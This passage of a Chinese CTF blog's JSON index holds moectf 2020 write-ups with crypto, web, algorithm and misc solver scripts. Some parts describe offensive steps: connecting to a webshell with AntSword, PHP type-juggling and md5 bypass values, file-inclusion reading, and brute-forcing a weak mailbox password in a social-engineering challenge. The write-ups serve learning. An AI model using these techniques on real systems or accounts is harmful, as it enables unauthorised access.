C++","categories":[{"name":"CTF比赛题解","slug":"CTF比赛题解","permalink":"http://example.com/categories/CTF%E6%AF%94%E8%B5%9B%E9%A2%98%E8%A7%A3/"}],"tags":[{"name":"CTF","slug":"CTF","permalink":"http://example.com/tags/CTF/"},{"name":"wp","slug":"wp","permalink":"http://example.com/tags/wp/"},{"name":"RE","slug":"RE","permalink":"http://example.com/tags/RE/"}],"author":"BlackBird"},{"title":"2020moectf Crypto","slug":"2020moectf-Crypto","date":"2020-10-13T03:00:20.000Z","updated":"2021-02-23T11:06:06.623Z","comments":true,"path":"2020/10/13/2020moectf-Crypto/","link":"","permalink":"http://example.com/2020/10/13/2020moectf-Crypto/","excerpt":"我的密码学是真的烂,,,唉~只能做一些简单题(数学太差","text":"我的密码学是真的烂,,,唉~只能做一些简单题(数学太差 我会做的crypto入门指北感谢shallow大佬送的学习资料~~ Stream这个题目有点毒瘤,,,先贴加密脚本 1234567import base64flag = "XXXXXXXXXXXXXXXXXXXXXXXXXXXX"xor = ?print(len(xor))print(base64.b64encode(("".join([chr(ord(i)^ord(xor)) for i in list(flag)])).encode("ASCII")))#1#b'Og9hNAFrCjU9aQ4+C2psLzxpYRE6azw+FmphPgk2EjQBDyw+DWsKIQIPHiwAaBYoOx8wNBU2aGU=' 一看xor就一位,爆破!!! 12345678910111213import base64f = open("out2.txt","w",encoding="utf-8")flag = b'Og9hNAFrCjU9aQ4+C2psLzxpYRE6azw+FmphPgk2EjQBDyw+DWsKIQIPHiwAaBYoOx8wNBU2aGU='flag = base64.b64decode(flag)f.write("\\n————————————————开始爆破————————————————\\n\\n\\n")for i in range(0,128): f.write(str(i)) ans="" for j in flag: ans = ans + (chr(i^j)) f.write(ans) f.write("\\n————————————————————分割线——————————————————————\\n\\n") 但为什么我觉得这个题目有点毒瘤,,,因为它解出来不是flag,而是flag的base64……最早真的没有想到这一点 moectf{U_Kn0w_How_7o_Break_Stream_Ciphe2} easycrypto直接暴力搞: 12345678910111213141516171819202122232425from FLAG import flagdef enc(plain): cipher = [] for i in plain: m = ord(i) cipher.append(5 * m ** 2 + 6 * m - 8) return cipherprint(enc(flag))#[60051, 62263, 51603, 49591, 67968, 52624, 76375, 38359, 51603, 58960, 49591, 62263, 60051, 51603, 45687, 67968, 62263, 45687, 22839, 65656, 73923, 63384, 67968, 62263, 78867]cnt=1flag_en=[60051, 62263, 51603, 49591, 67968, 52624, 76375, 38359, 51603, 58960, 49591, 62263, 60051, 51603, 45687, 67968, 62263, 45687, 22839, 65656, 73923, 63384, 67968, 62263, 78867]for i in flag_en: cnt+=1 for j in range(48,130): if(5*j**2+6*j-8==i): print(chr(j),end='') #moectf{Welcome_to_Crypto} rsa_begin毕竟是第一题,工具直接搞就完了,贴一篇工具教程,直接一把梭。 moectf{Ull_f1nd_RSA_1s_1nte2est1ng} 我没做出来的静等官方wp","categories":[{"name":"CTF比赛题解","slug":"CTF比赛题解","permalink":"http://example.com/categories/CTF%E6%AF%94%E8%B5%9B%E9%A2%98%E8%A7%A3/"}],"tags":[{"name":"CTF","slug":"CTF","permalink":"http://example.com/tags/CTF/"},{"name":"wp","slug":"wp","permalink":"http://example.com/tags/wp/"},{"name":"Crypto","slug":"Crypto","permalink":"http://example.com/tags/Crypto/"}],"author":"BlackBird"},{"title":"2020moectf Web","slug":"2020moectf-Web","date":"2020-10-12T16:26:08.000Z","updated":"2021-02-23T11:05:35.156Z","comments":true,"path":"2020/10/13/2020moectf-Web/","link":"","permalink":"http://example.com/2020/10/13/2020moectf-Web/","excerpt":"作为一个二进制手……我把web强行做完,我太难了……","text":"作为一个二进制手……我把web强行做完,我太难了…… GET POST 小饼干小饼干?cookie! url解码: 1moectf{y0u_c4n't_e4t_thi3_c00k1e} Introduction 进入网页,Ctrl+U看源码,Ctrl+F搜索 一句话一句话木马还是一个比较常见的考点, 现在直接AntSword或者Cknife一把梭,建议AntSword,,, moectf{0hhhh!!!y0u_know_h0w_to_u3e_eva1} EzMath刷新那么快,肯定不能用手来算,这块就需要用脚本,这个题特别像bugku的一道题目:秋名山老司机。找了找之前的笔记,就有了这样一个脚本: 123456789import requestsimport reurl = 'http://39.98.86.109:10001/index.php's = requests.Session()source = s.get(url)expression = re.search(r'(\\d+[+\\-*])+(\\d+)', source.text).group()result = eval(expression)post = {'a': result}print(s.post(url, data = post).text) 淦!!!复现的时候环境没了,,这里贴一下秋名山老司机这个题。可以尝试着把我上面的脚本改一下~ 三心二意先贴源码: 12345678910111213141516171819202122232425262728293031323334353637<?php$a = $_GET['a'];$b = $_POST['b'];$c = $_REQUEST['c'];$d = $_COOKIE['d'];if (!isset($a, $b, $c, $d)) { highlight_file(__FILE__);} else { if (is_numeric($a) and $a == false) { //a=0 echo 'A is OK!'; echo '<br/>'; if (!is_numeric($b) and $b == 0x125e591) { //b=19260817a echo 'B is OK!'; echo '<br/>'; if ($c != 240610708 and md5($c) == md5(240610708)) { //c=s214587387a echo 'C is OK!'; echo '<br/>'; if (strlen($d) < 7 and $d != 0 and $d ** 2 == 0) { //d[]= include('/flag'); } else { echo "D is not wanted.<br/>"; highlight_file(__FILE__); } } else { echo "C is not wanted.<br/>"; highlight_file(__FILE__); } } else { echo "Too young too simple.<br/>"; highlight_file(__FILE__); } } else { echo "A is not wanted.<br/>"; highlight_file(__FILE__); }} 一看就知道这个题目考察的是php语言的一些小tricks,先把a,b,c,d四个变量都设置值,然后再一个一个调 a不解释,,, b不解释,,, c是md5绕过,可以看下这篇文章 d不解释,,, 就这吧~爱会消失对不对 俄罗斯头套这个题,没做过类似的,现场百度,查到这个题的考点是http响应头,那么这个题也就没什么说的了,抓包,改响应头……就完了 这里放两张修改后的: moectf{r3que5t_he4der_1s_ea5y!!} include盲猜文件包含漏洞,,,点开do not click???我偏要click,然后看源码: 果然,和猜的一样。 先试一下: 好吧,我想的有点简单了。他的flag应该是在注释里面,那我们把整个文件base64一下就好了:","categories":[{"name":"CTF比赛题解","slug":"CTF比赛题解","permalink":"http://example.com/categories/CTF%E6%AF%94%E8%B5%9B%E9%A2%98%E8%A7%A3/"}],"tags":[{"name":"CTF","slug":"CTF","permalink":"http://example.com/tags/CTF/"},{"name":"wp","slug":"wp","permalink":"http://example.com/tags/wp/"},{"name":"web","slug":"web","permalink":"http://example.com/tags/web/"}],"author":"BlackBird"},{"title":"2020moectf Algorithm","slug":"2020moectf-Algorithm","date":"2020-10-12T16:19:41.000Z","updated":"2021-02-23T11:06:27.786Z","comments":true,"path":"2020/10/13/2020moectf-Algorithm/","link":"","permalink":"http://example.com/2020/10/13/2020moectf-Algorithm/","excerpt":"这次的算法题,,,怎么说,,感觉真正考察算法的我都没写,就写了些不考察真正算法的题目","text":"这次的算法题,,,怎么说,,感觉真正考察算法的我都没写,就写了些不考察真正算法的题目 mess 12345678910111213141516import randomflag = 'moectf{xxxxxxxxxxx}'digit = ''for i in flag: digit += str(ord(i))i = 0while i < len(digit): n = random.randint(0, 128) if ord('a') <= n <= ord('z') or ord('A') <= n <= ord('Z'): digit = digit[0:i] + chr(n) + digit[i:] i += 1with open('puzzle.txt', 'w') as out: out.write(digit)# 1091111A01ruVJl99hw11Qv6i102xCYC1c2B31DIsz1tm212l11A1l610448re11BQ09549115951n154V895F115d49109h1m1210810j11w2A5 这个题说人话就是把flag的每一项转化成ASCII码全部列一排,再往之间插入字母。所以第一步把字母全部去除掉,然后手动把得到的一串数字分开,首先moectf{}的格式是确定的,然后大概眼睛瞅着,,就出来: 12345678910111213#include<bits/stdc++.h>using namespace std;int main(){ string a; cin>>a; for(int i=0;i<a.size();i++) if(a[i]>='0' && a[i]<='9') cout<<a[i]; return 0;} //1091111A01ruVJl99hw11Qv6i102xCYC1c2B31DIsz1tm212l11A1l610448re11BQ09549115951n154V895F115d49109h1m1210810j11w2A5//1091111019911610212311212111610448110954911595115489511549109112108101125 12345a=[109,111,101,99,116,102,123,112,121,116,104,48,110,95,49,115,95,115,48,95,115,49,109,112,108,101,125]for i in a: print(chr(i),end='')# 109,111,101,99,116,102,123,112,121,116,104,48,110,95,49,115,95,115,48,95,115,49,109,112,108,101,125# moectf{pyth0n_1s_s0_s1mple} Frank, 永远滴神 u1s1,这个题就是学习一下python怎么遍历文件夹,,害~看脚本吧: 12345678910111213141516171819202122232425import osfrom base64 import *count = 0path = "自己的目录\\puzzle"dirs1 = os.listdir(path)for i in dirs1: path_1 = os.path.join(path,i) dirs2 = os.listdir(path_1) for j in dirs2: path_2 = os.path.join(path_1,j) dirs3 = os.listdir(path_2) for k in dirs3: path_3 = os.path.join(path_2,k) dirs4 = os.listdir(path_3) for m in dirs4: path_4 = os.path.join(path_3,m) print(path_4) f=open(path_4) file = f.read() f.close() count += file.count('FrankNB!')print(count.b64encode())#moectf{MjA1MjMy} 赤道企鹅, 永远滴神 这个题就比前一个多一个数据处理,,,所以也没什么说的,直接贴脚本: 123456789101112131415161718192021222324252627282930313233343536373839404142import osfrom base64 import *count_n = 0count_y = 0count = 0path = "H:\\Competitions\\moectf\\Algorithm\\Eqqie\\puzzle"dirs1 = os.listdir(path)for i in dirs1: path_1 = os.path.join(path,i) dirs2 = os.listdir(path_1) for j in dirs2: path_2 = os.path.join(path_1,j) dirs3 = os.listdir(path_2) for k in dirs3: path_3 = os.path.join(path_2,k) dirs4 = os.listdir(path_3) for m in dirs4: path_4 = os.path.join(path_3,m) print(path_4) #遍历文件 f = open(path_4) file = f.read() f.close() #读取文件 if file[7]=='?': count_n += 1 continue count_y += 1 a = "" a += file[7:] flag = 1 for i in a: if ('9'>=i>='0' or 'z'>=i>='a' or 'Z'>=i>='A'): if flag==1: flag = 0 count += 1 else: flag=1ans=str(count).encode() print(b64encode(ans))#moectf{MTgyNDI2} 千层饼 先放一下加密脚本吧: 123456789101112131415from base64 import *from random import Randomfrom flag import flagalg = [b16encode, b32encode, b64encode, a85encode, b85encode]r = Random()for i in range(r.randrange(35,40)): er = r.choice(alg) flag = r.choice(alg)(str(alg.index(er)).encode()) + b'eqqie_is_god' + er(flag)with open('secret.txt','wb') as out: out.write(flag)with open('puzzle.txt', 'wb') as out: out.write(flag) 这个题的思路还是挺显而易见的,,,说白了就是“套娃”。这个题我先半手撕掉了,然后又写了全自动的脚本,半手撕的就不贴了,给个全自动的吧~~: 12345678910111213141516171819202122232425262728293031323334from base64 import *dict={}def ini(): for i in range(len(alg)): for j in range(5): tmp = alg[i](str(j).encode()) dict[tmp] = jalg = [b16encode, b32encode, b64encode, a85encode, b85encode]alg_s = [b16decode, b32decode, b64decode, a85decode, b85decode]with open('puzzle.txt','r') as f: data = f.read()print("index:")for i in range(len(alg)): print(" ",i,": ",alg[i])ini()count = 0print(dict)while 1: if 'eqqie_is_god' not in data: print(data) break key = data.index('eqqie_is_god') print(data[:key]) data = alg_s[int(dict[data[:key].encode()])](data[key+12:]).decode() count = count+1 print(count) print()# moectf{so00Oo0oO_d31ici0us} emmm。。。我自认为我的代码还是比较容易理解的。就这样吧~~","categories":[{"name":"CTF比赛题解","slug":"CTF比赛题解","permalink":"http://example.com/categories/CTF%E6%AF%94%E8%B5%9B%E9%A2%98%E8%A7%A3/"}],"tags":[{"name":"CTF","slug":"CTF","permalink":"http://example.com/tags/CTF/"},{"name":"program","slug":"program","permalink":"http://example.com/tags/program/"},{"name":"wp","slug":"wp","permalink":"http://example.com/tags/wp/"}],"author":"BlackBird"},{"title":"2020moectf Classic Crypto","slug":"2020moectf-Classic-Crypto","date":"2020-10-08T18:13:41.000Z","updated":"2021-02-23T11:06:18.039Z","comments":true,"path":"2020/10/09/2020moectf-Classic-Crypto/","link":"","permalink":"http://example.com/2020/10/09/2020moectf-Classic-Crypto/","excerpt":"这次比赛竟然还有Classic Crypto专场,属实不易。然后我也把古典密码学做完了,占我总分的9.35。","text":"这次比赛竟然还有Classic Crypto专场,属实不易。然后我也把古典密码学做完了,占我总分的9.35。 大帝的征程#1 大帝 -> 凯撒 -> 凯撒密码 因为这是moectf比赛,所以flag一定是moectf打头,所以可以算得偏移,就出来了: 密文: zbrpgs{p0adh3e_gu3_j0eyq} 明文: moectf{c0nqu3r_th3_w0rld} 大帝的征程#2 这个题目,肯定还是凯撒,但是毕竟是#2了,所以是凯撒变种,但是试了试没什么思路,,,就开了hint: ![image-20201008094329085](/images/2020moectf Classic Crypto/image-20201008094329085.png) 看了hint,瞬间明白了,他时候一个换表凯撒,这个就得自己写脚本搞了: 1234567891011121314151617181920212223242526#include<bits/stdc++.h>using namespace std;int main(){ string table="0abcdefghijklmnopqrstuvwxyz0123456789";//这里有个小问题,就是我给table前面加了一个0,用来占位,,,毕竟从1开始还是比较舒服 string a; cin>>a; for(int i=0;i<a.size();i++) { int temp; if(a[i]!='{' && a[i]!='}' && a[i]!='_') { for(int j=1;j<table.size();j++) { if(table[j]==a[i]) { int temp; temp=(j+36*2-i)%36; cout<<table[temp]; } } } else cout<<a[i]; } return 0;} 密文: mpgfxk{j8w05q4_8xk_d7mhqfht}明文: moectf{c0nquer_th3_un1v3rs3} 外面的世界 外面的世界 + 密文盲猜 => 栅栏密码 在线解密, PS:做栅栏密码的时候一定要注意复制粘贴,别多复制空格了,,,你会解不出来的 密文: mc{i33ny_-n~otR1n_cp1FN}efaFc32Tsuy 明文: moectf{Rai1F3nc3_3nc2ypT_1s-FunNy~} 大帝的征程#3 啊这,,,这个密文出现了一些奇怪字符,应该是这个凯撒的table是整个ASCII表,,,然后想到(出题人提醒)在ASCII编码中有一种密码叫做ROT47,然后我们在线解密试一下: 密文: >@64E7L4_?BF6C0E9b0)s$trN 明文: moectf{c0nquer_th3_XDSEC} 大帝的征程#维吉尼亚 u1s1这个题目我是手撕的,,,因为我们的答案最后肯定是moectf{……},所以我们就用moectf,对应出key:dsecx 然后在线工具跑一下: 密文:pgieqi{k0_ajxW_k-R3zq?} 密钥: dsecx 明文: moectf{s0_whaT_s-N3xt?} 大帝的征程#维吉尼亚Ex 下载附件,然后搜索到密文:ooukot{ig3_oqf1_Ymiedmms_BzVn3_s0w_w0_3csO} 这个题的话,,我就提供两种思路吧: 手撕他说难撕就难撕么??? 我不信!我要试一试。 首先moectf绝对是没有问题的,又因为维吉尼亚只是字母在变化,数字没有改变,所以根据 3->e , 0->O以及部分密钥循环使用,我们可以猜一些东西 ig3->th3 , Ymiedmms -> Vigenere , w0 -> s0 , s0w -> n0t , 3csO -> 3asy……这个时候密钥好像就已经出来了(即使这个时候密钥没有完全出来,那么剩下1或者2个不确定的,暴力解决~~)。 密文: ooukot{ig3_oqf1_Ymiedmms_BzVn3_s0w_w0_3csO} 密钥: caqivopzxmfde 明文: moectf{th3_rea1_Vigenere_MaYb3_n0t_s0_3asY} 正解这里有一种方法叫做“重合指数对照”来破解维吉尼亚密码,在线工具在这里~~ ![image-20201009013434884](/images/2020moectf Classic Crypto/image-20201009013434884.png) 要是知道密钥的长度并且填上去会快一点,但要是什么也不填,这个网站也挺快的~~ moectf{th3_rea1_vigenere_mayb3_n0t_s0_3asy}","categories":[{"name":"CTF比赛题解","slug":"CTF比赛题解","permalink":"http://example.com/categories/CTF%E6%AF%94%E8%B5%9B%E9%A2%98%E8%A7%A3/"}],"tags":[{"name":"CTF","slug":"CTF","permalink":"http://example.com/tags/CTF/"},{"name":"wp","slug":"wp","permalink":"http://example.com/tags/wp/"},{"name":"Crypto","slug":"Crypto","permalink":"http://example.com/tags/Crypto/"}],"author":"BlackBird"},{"title":"2020moectf-MISC","slug":"2020moectf-MISC","date":"2020-10-07T18:04:10.000Z","updated":"2021-02-23T11:05:53.876Z","comments":true,"path":"2020/10/08/2020moectf-MISC/","link":"","permalink":"http://example.com/2020/10/08/2020moectf-MISC/","excerpt":"写在前面:这次moectf,misc一共17道,做出来了14道。然后最后发现misc占我总分比重22%左右,占比最高?好的我是misc手(~~~二进制手~~~)。然后这个方面wp也比较好写,就先写了misc的wp。然后没做的道题,等官方题解吧,,,真的不会了……","text":"写在前面:这次moectf,misc一共17道,做出来了14道。然后最后发现misc占我总分比重22%左右,占比最高?好的我是misc手(~~~二进制手~~~)。然后这个方面wp也比较好写,就先写了misc的wp。然后没做的道题,等官方题解吧,,,真的不会了…… 我做出来的welcome 两个下载下来:一张图片和一个入门指南 图片: 毕竟是第一个题目嘛~~~应该不难。用winhex瞅瞅: flag: moectf{Jo1n_0ur_professional_group} 然后吧,,,那个pdf写的挺好的,,,留下来研读…… MD5 这么,,恶臭,,,一定是flag了…… flag:moectf{114514} Base64 密文:bW9lY3RmJTdCZXpfYjY0JTIxJTdE 解密后:moectf{ez_b64!} hey fxck you! 下载下来是一个图片: 盲猜图片隐写:binwalk搞一下,得到这么一串奇奇怪怪的东西 ++++++++[>>++>++++>++++++>++++++++>++++++++++>++++++++++++>++++++++++++++>++++++++++++++++>++++++++++++++++++>++++++++++++++++++++>++++++++++++++++++++++>++++++++++++++++++++++++>++++++++++++++++++++++++++>++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++<<<<<<<<<<<<<<<<-]>>>>>>>>—.++.<+++++.–.>+++++.<+++.>>—–.–.<<-.>-.<<<<<+.>>>>>>.<<.>.<<<<<.>>>>+.+++++.————.<+++++.>.<<<++.<.>>>>>>++++. 这个的话,联系题目名字加上经验(其实要是搜索用的好,是可以搜出来的 这个编码叫做brain fuck,然后在线解密就完了 1moectf{yes!yes!fk_U_2!} Base64?¿ 顺手点开hint: vwxrstuopq34567ABCDEFGHIJyz012PQRSTKLMNOZabcdUVWXYefghijklmn89+/ 好了,base64换表,上脚本: 123456789import base64import stringstr1 = "0H9MJjCNPiMgJHMQJNtfyEJgIjtS1Ig=" # 密文string1 = "vwxrstuopq34567ABCDEFGHIJyz012PQRSTKLMNOZabcdUVWXYefghijklmn89+/" # 换表string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"print (base64.b64decode(str1.translate(str.maketrans(string1,string2)))) moectf{itai_base64_qaq} Pseudo Encryption 这个题目刚开始出bug了,,, bug版下载下来是一个zip文件,解压带密码,但是不能用伪密码绕过。无奈之下,扔进winhex瞅瞅,然后就找到这么一串东西: 一看就是base64,,,在线解码,,盲猜url编码 正确版下载下来是一个zip,但是打不开,,, 扔进ultra editor,发现文件头不对,,,补个文件头 然后解压出来是个图片 然后就跟bug版一样了 密文:bW9lY3RmJTdCSnVzN19jNmFuOWVfQF9iMXQlMjElN0Q= 解密: moectf%7BJus7_c6an9e_@_b1t%21%7D 再解密:moectf{Jus7_c6an9e_@_b1t!} 不 会 吧 ? 就 这 ¿ 阴阳怪气编码,,,, 附件下载下来就是这个猫猫头,,, binwalk分离: 肯定是一个什么编码,,,换成0和1。因为只有两种内容,所以要么是二进制,要么是摩斯。尝试一下摩斯,不行,那就是二进制和ASCII码结合,,,这里写了一个C程序: 1234567891011121314151617181920212223#include<bits/stdc++.h>using namespace std;int main(){ string flag=" "; for(int j=1;;j++) { int ans=0; string a; cin>>a; if(a[0]=='#') //用于停止循环 break; for(int i=0;i<a.size();i++) if(a[i]=='.') ans=ans+pow(2,i); char rel=ans; // cout<<ans<<" : "<<rel<<"\\n"; flag[j]=rel; } cout<<flag; return 0;} 然后把转换后的内容输进去就有答案啦~~ moectf{Y0u_wh4t?-0n1y_th1S?} Cor1e的支票 附件下载下来打开是这个亚子: 。。。。。。。。。。。。。。。。。。。。!?!!。?。。。。。。。。。。。。。。。。。。。。?。?!。?。。。。。。。。。。。。。。。。。。!。。。。。!。?。。。。。。。!?!!。?!!!!!!?。?!。?!!!。!!!!!。?。。。。。。。。。!?!!。?。。。。。。。。?。?!。?。。!。?。。。。。。。!?!!。?!!!!!!?。?!。?!!!!!!!!!!!。?。。。。。。。。。!?!!。?。。。。。。。。?。?!。?。。。。。。。。。。!。?。。。。。。。。。!?!!。?!!!!!!!!?。?!。?!!!!!!!!!!!!!!!!!。?。。。。。。。!?!!。?。。。。。。?。?!。?。。。。。。!。。。。。。。!。?。。。。。。。。。。。。。。。。。!?!!。?!!!!!!!!!!!!!!!!?。?!。?!!!。?。。。。。。。。。。。。。。。!?!!。?。。。。。。。。。。。。。。?。?!。?。。。。。。!。!!!!!!!!!!!!!。?。。。。。。。。。。。!?!!。?!!!!!!!!!!?。?!。?!!!!!!!!!!!。?。。。。。。。。。。。。。!?!!。?。。。。。。。。。。。。?。?!。?。。。。。。。。。。。。。。。。。。!。?。。。。。。。。。。。。。!?!!。?!!!!!!!!!!!!?。?!。?!!!!!!!!!!!!!。?。。。。。。。。。。。!?!!。?。。。。。。。。。。?。?!。?。。。。!。。。。。。。。。。。。。!。?。。。。。。。。。。。。。。。!?!!。?!!!!!!!!!!!!!!?。?!。?!!!。?。。。。。。。。。。。。。。。!?!!。?。。。。。。。。。。。。。。?。?!。?。。。。。。。。。。。。。。。。。。。。。。。。。。!。!!!!!!!!!!!!!!!!!。!!!!!!!!!。!!!!!!!!!!!!!。?。。。。。。。。。。。。。!?!!。?!!!!!!!!!!!!?。?!。?!!!!!!!!!!!!!!!!!!!!!。?。。。。。。。。。。。。。。。。。!?!!。?。。。。。。。。。。。。。。。。?。?!。?。。。。!。?。。。。。。。。。!?!!。?!!!!!!!!?。?!。?!!!!!!!!!。?。。。。。。。。。。。!?!!。?!!!!!!!!!!?。?!。?!!!!!!!。?。。。。。。。!?!!。?。。。。。。?。?!。?。。。。。。。。!。?。。。。。。。。。。。。。!?!!。?。。。。。。。。。。。。?。?!。?。。。。。。。。。。。。。。。。。。!。?。 emmm……….肯定是一个编码啊,,,然后查一下,,,发现有一个编码叫做Ook编码和前面的Brain fuck一个作者,,,然后加上Ook,在线解码: moectf{cor1e_AnD_e3qie_1s_CP} 内心OS:#?!#$@?@**!@%#%^&@%@# 简单的社工题目 这个题狠毒瘤,,, 第三个图片,,,他的关注,你逆着看: 923431@ourmail.cn ,进去后要输入密码,这里我是爆破出来的,但是其实是弱口令:a123456,进去了后看到一串神秘代码: 底下还有个这个: 盲猜百度网盘(其实我开hint了,,,然后就可以得到flag了 A3FXCK 下载是一个图片,binwalk干他!!! 然后发现这样一个东西: luoq1an -> 1 ->[ arttnba2 -> 2 ->] arttnba3 -> 3 ->( luoqi4n -> 4 ->) arttnba5 -> 5 -> + arttnba6 -> 6 -> ! 代换以后,根据“+!”这6个符号以及题干信息,知道这是JS fuck编码,再浏览器的控制台里或者在线解密一下: moectf{J5Fxck_1s_1nt3res7in9!} ⑨的完美教室 我觉得这个题是真的毒瘤,,, 看到nc连上去: ??? 数学不好??? 然后发现一直输入9,,,没有任何问题 我就很懵逼,还社工了一下这个动漫人物。。。。。 开了hint才知道,,,这TM就是一个pwn题 真的艹,,,这个题 上脚本: 123456789from pwn import *p = remote('sec.arttnba3.cn',10001)while True: recv = p.recv() p.sendline('9') if b'ctf' in recv: print(recv) break 挂一下某个毒瘤出题人 moectf{c1rn0_1s_tH3_5tr0n9est!} 停不下来了啊啊啊啊啊啊啊 这题能把人笑死,,, 下载下来是一个视频,然后唱了一会歌,就听他“啊啊啊啊啊~~”,,, 突然看到一道黑影一闪而过,,,嗯?好像是个flag?拖到Pr里面一帧一帧的看,,,看到了!!! 艹,,,才一点,但最起码思路正确,然后一看全长:4h,,,瞬间自闭 但u1s1,hint还是很给力的,,,下载ffmpeg,侦测黑场帧,百度了老久用法,,, $ ffmpeg -loglevel info -i final.mp4 -vf blackframe=95:30 -f null - 然后把结果复制下来: 但是哟一个问题,,这里的黑场帧对应的是时间戳(实在找不到显示帧数或者时间的方法),,,于是只能用时间戳en上,看一眼视频帧率30,那就用时间戳/帧率就是秒数,再转化时间,在那个大致范围里面一点一点找,,,(还是在啊~~)最后终于集齐龙珠,召唤神龙(bushi,获得flag moectf{G0d_Of-Vid3o+Edit1ng_AnD_ffmp3G} 星空 下载下来解压是一张图片,binwalk分离,然后发现420张图片……woc这是在考察我5岁之前的技能啊——拼图,但是手拼有失水准(其实是根本拼不来。所以这个题,需要用一个工具:gaps,这个东西环境比较难安装(windows辣鸡…… 我是在我的虚拟机上安装的,然后先用montage把这些块块拼成一个图片,然后再用gaps拼图…… montage *jpg -geometry 100x100+0+0 out2.jpg gaps –image out2.jpg –generations 2000 –population 420 –size 100 当时github上面readme的指令没一个能用……readme辣鸡。然后只能靠百度了,搜了老久,然后自己手调才试出来的…… 但是,不管怎么调整参数,拼图始终不能完美,,最好的结果就是这个: 还好我不是电竞选手: moectf{thE_5t@rrY_sKy_1s_ReAlly_beauTifuL} Osu! Master! 之前打过osu,,但是我太菜了……所以就把osu卸载了,然后为了做题又安装上了。 下载附件是一个osu的谱子,进去打一打~~发现谱子上有一个moectf的黑旗子在闪烁,盲猜morse。但是……这个工具人好难啊,,然后在RX大佬的引导下,学习了osu制谱里面的Osu story board文件结构:在.osb文件里里面写着图片闪烁的时间参数,把他提取出来,发现图片显示的时间持续在270或者540,然后间隔的时间是270或者810,于是我手动把里面所有时间参数dump下来,然后写了一个转化成morse密文的py脚本: 1234567891011121314def change(a,b): if(b-a==270): return '.' else: return '-'dic=[2133,2673,2943,3213,3483,4023,4293,4833,5643,6183,6453,6993,7263,7803,8613,8883,9153,9423,9693,10233,11043,11313,11583,12123,12933,13203,13473,14013,14283,14553,15363,15633,16443,16983,17253,17793,18063,18603,19413,19683,19953,20223,20493,20763,21573,21843,22113,22383,22653,23193,24003,24543,24813,25353,26163,26433,26703,27243,28053,28323,28593,28863,29133,29403,30213,30753,31563,31833,32643,32913,33183,33723,33993,34263,35073,35343,35613,35883,36153,36423,37233,37773,38043,38583,38853,39393,40203,40473,40743,41013,41283,41553,42363,42903,43173,43713,43983,44523,45333,45603,45873,46143,46413,46683,47493,48033,48843,49113,49383,49923,50193,50463,51273,51813,52083,52623,52893,53433,54243,54783,55053,55323,56133,56673,56943,57483,57753,58023,58833,59373,60183,60453,60723,60993,61263,61533,61803,62073,62883,63153,63423,63693,64503,64773,65043,65313,65583,65853,66663,66933,67203,67473,67743,68283,68553,68823,69633,69903,70173,70713,70983,71253,71523,71793,72603,72873,73143,73683,74493,75033,75303,75843,76113,76383,77193,77733,78003,78543,78813,79083,79893,80163,80433,80703,81513,81783,82053,82323,82593,82863,83133,83673,84483,84753,85563,86103,86373,86643,86913,87453,87723,88263,89073,89613,89883,90423,90693,91233,92043,92313,92583,92853,93123,93663,94473,95013,95823,96363,96633,97173,97443,97983,98793,99063,99333,99873,100143,100413,101223,101493,102303,102573,102843,103383,103653,104193,105003,105273,105543,106083,106893,107163,107433,107973,108243,108513,109323,109863,110133,110403,110673,110943,111753,112293,112563,112833,113103,113643,113913,114453,115263,115803,116073,116613,116883,117423,118233,118503,118773,119043,119313,119853,120663,121203,121473,121743,122013,122283,123093,123633,123903,124443,124713,125253,126063,126603,126873,127143,127953,128493,128763,129303,129573,130113,130923,131463,132273,132543,132813,133353,134163,134433,134703,134973,135243,135783,136053,136323,137133,137403,137673,138213,138483,138753,139563,139833,140103,140643,141453,141723,141993,142263,143073,143613,143883,144153,144423,144693,145503,146043,146313,146853,147123,147663,148473,148743,149013,149283,149553,150093,150363,150633,151443,151713,151983,152253,153063,153603,154413,154683,154953,155223,155493,155763,156573,156843,157113,157653,157923,158193,158463,158733,159543,159813,160623,161163,161433,161703,162513,163053,163323,163863,164133,164403,165213,165753,166563,166833,167103,167373,167643,167913,168183,168453,169263,169533,169803,170073,170883,171423,172233,172503,172773,173043,173853,174123,174393,174663,174933,175203,176013,176553,177363,177633,177903,178173,178443,178713,178983,179253,180063,180333,181143,181413,181683,182223,182493,182763,183573,183843,184113,184383,185193,185733,186003,186543,186813,187083,187893,188163,188433,188703,188973,189243,189513,189783,190593,191133,191943,192213,192483,192753,193023,193563,193833,194103,194913,195183,195453,195993,196263,196533,196803,197073,197883,198153,198423,198963,199773,200313,200583,201123,201393,201663]cnt = 2print(change(dic[0],dic[1]),end='')while cnt<len(dic): if dic[cnt]-dic[cnt-1]==810: print('/',end='') print(change(dic[cnt],dic[cnt+1]),end='') cnt=cnt+2# 结果:-.--/---/..-/.-/.-././---/.../..-/--/.-/.../-/./.-./.../---/.../---/.../-/.-./---/-./--./-/..../../.../..-./.-../.-/--./--./../...-/./-.--/---/..-/-/---/.-././.--/.-/.-./-../-.--/---/..-/-../---/-./---/-/.-/..-./.-./.-/../-../---/..-./../-/.../.-.././-./--./-/..../../-/../.../-/...././.-./../--./..../-/..-./.-../.-/--. 然后在线工具搞一下: YOUAREOSUMASTERSOSOSTRONGTHISFLAGGIVEYOUTOREWARDYOUDONOTAFRAIDOFITSLENGTHITISTHERIGHTFLAG moectf{YOUAREOSUMASTERSOSOSTRONGTHISFLAGGIVEYOUTOREWARDYOUDONOTAFRAIDOFITSLENGTHITISTHERIGHTFLAG} 我没做出来的参考了Dawnwhisper、-k0414-和arttnba的博客,剩下的三个题目:两只企鹅,show off,以及闪电风暴(不建议看或者做……)的题解就都有了~~大家可以点击移步到各位大佬的blog里面转一转。(要是有了官方wp我还会回来更新的~","categories":[{"name":"CTF比赛题解","slug":"CTF比赛题解","permalink":"http://example.com/categories/CTF%E6%AF%94%E8%B5%9B%E9%A2%98%E8%A7%A3/"}],"tags":[{"name":"CTF","slug":"CTF","permalink":"http://example.com/tags/CTF/"},{"name":"wp","slug":"wp","permalink":"http://example.com/tags/wp/"},{"name":"misc","slug":"misc","permalink":"http://example.com/tags/misc/"}],"author":"BlackBird"},{"title":"My first post","slug":"My-first-post","date":"2020-09-27T12:31:29.000Z","updated":"2021-03-06T15:42:39.234Z","comments":true,"path":"2020/09/27/My-first-post/","link":"","permalink":"http://example.com/2020/09/27/My-first-post/","excerpt":"这里是BB的博客,一个分享与交流的平台,欢迎各路大佬与菜菜的我交换友链~ (建议挂梯子","text":"这里是BB的博客,一个分享与交流的平台,欢迎各路大佬与菜菜的我交换友链~ 